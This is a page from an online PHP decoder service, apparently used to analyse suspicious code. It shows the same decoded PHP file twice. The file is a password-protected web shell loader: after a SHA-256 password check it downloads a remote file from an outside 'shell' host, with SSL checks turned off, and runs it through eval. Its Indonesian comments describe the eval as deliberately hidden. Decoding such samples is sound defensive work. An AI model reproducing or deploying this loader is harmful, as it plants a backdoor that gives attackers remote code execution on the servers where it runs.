Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php session_start(); // Hash password yang valid (gunakan SHA-256) define('PASSWORD..
Decoded Output download
<?php
session_start();
// Hash password yang valid (gunakan SHA-256)
define('PASSWORD_HASH', '236cbb6525c59fceb74f7b73f2f9b1d745d672881df43dcbb4847eae24263de2');
// Fungsi untuk mengeksekusi kode
function executeCode($code) {
eval('?>' . $code); // Menyembunyikan eval dalam fungsi
}
// Fungsi untuk mengambil konten dari URL
function geturlsinfo($url) {
$url_get_contents_data = false;
if (function_exists('curl_exec')) {
$conn = curl_init($url);
curl_setopt($conn, CURLOPT_RETURNTRANSFER, true);
curl_setopt($conn, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);
if (isset($_SESSION['coki'])) {
curl_setopt($conn, CURLOPT_COOKIE, $_SESSION['coki']);
}
$url_get_contents_data = curl_exec($conn);
if (curl_errno($conn)) {
$url_get_contents_data = false;
}
curl_close($conn);
} elseif (function_exists('file_get_contents')) {
$url_get_contents_data = @file_get_contents($url);
} elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
$handle = @fopen($url, "r");
if ($handle) {
$url_get_contents_data = stream_get_contents($handle);
fclose($handle);
}
}
return $url_get_contents_data;
}
// Proses validasi login
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) {
$passwordInput = $_POST['password'];
$passwordHashInput = hash('sha256', $passwordInput); // Hash password yang dimasukkan pengguna
if ($passwordHashInput === PASSWORD_HASH) {
$_SESSION['login_valid'] = true; // Tandai login valid
} else {
echo "<script>alert('Invalid password. Please try again.');</script>";
}
}
// Jika login valid, lanjutkan proses
if (isset($_SESSION['login_valid']) && $_SESSION['login_valid'] === true) {
$a = geturlsinfo('https://shell.prinsh.com/Nathan/alfa.txt');
if ($a !== false) {
executeCode($a); // Panggil fungsi untuk mengeksekusi kode
} else {
echo "Failed to retrieve content.";
}
exit; // Hentikan eksekusi setelah login berhasil
}
?>
Did this file decode correctly?
Original Code
<?php
session_start();
// Hash password yang valid (gunakan SHA-256)
define('PASSWORD_HASH', '236cbb6525c59fceb74f7b73f2f9b1d745d672881df43dcbb4847eae24263de2');
// Fungsi untuk mengeksekusi kode
function executeCode($code) {
eval('?>' . $code); // Menyembunyikan eval dalam fungsi
}
// Fungsi untuk mengambil konten dari URL
function geturlsinfo($url) {
$url_get_contents_data = false;
if (function_exists('curl_exec')) {
$conn = curl_init($url);
curl_setopt($conn, CURLOPT_RETURNTRANSFER, true);
curl_setopt($conn, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);
if (isset($_SESSION['coki'])) {
curl_setopt($conn, CURLOPT_COOKIE, $_SESSION['coki']);
}
$url_get_contents_data = curl_exec($conn);
if (curl_errno($conn)) {
$url_get_contents_data = false;
}
curl_close($conn);
} elseif (function_exists('file_get_contents')) {
$url_get_contents_data = @file_get_contents($url);
} elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
$handle = @fopen($url, "r");
if ($handle) {
$url_get_contents_data = stream_get_contents($handle);
fclose($handle);
}
}
return $url_get_contents_data;
}
// Proses validasi login
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) {
$passwordInput = $_POST['password'];
$passwordHashInput = hash('sha256', $passwordInput); // Hash password yang dimasukkan pengguna
if ($passwordHashInput === PASSWORD_HASH) {
$_SESSION['login_valid'] = true; // Tandai login valid
} else {
echo "<script>alert('Invalid password. Please try again.');</script>";
}
}
// Jika login valid, lanjutkan proses
if (isset($_SESSION['login_valid']) && $_SESSION['login_valid'] === true) {
$a = geturlsinfo('https://shell.prinsh.com/Nathan/alfa.txt');
if ($a !== false) {
executeCode($a); // Panggil fungsi untuk mengeksekusi kode
} else {
echo "Failed to retrieve content.";
}
exit; // Hentikan eksekusi setelah login berhasil
}
?>
Function Calls
define | 1 |
session_start | 1 |
Stats
MD5 | a88ae12c07e68abf060b4c5348144f26 |
Eval Count | 0 |
Decode Time | 95 ms |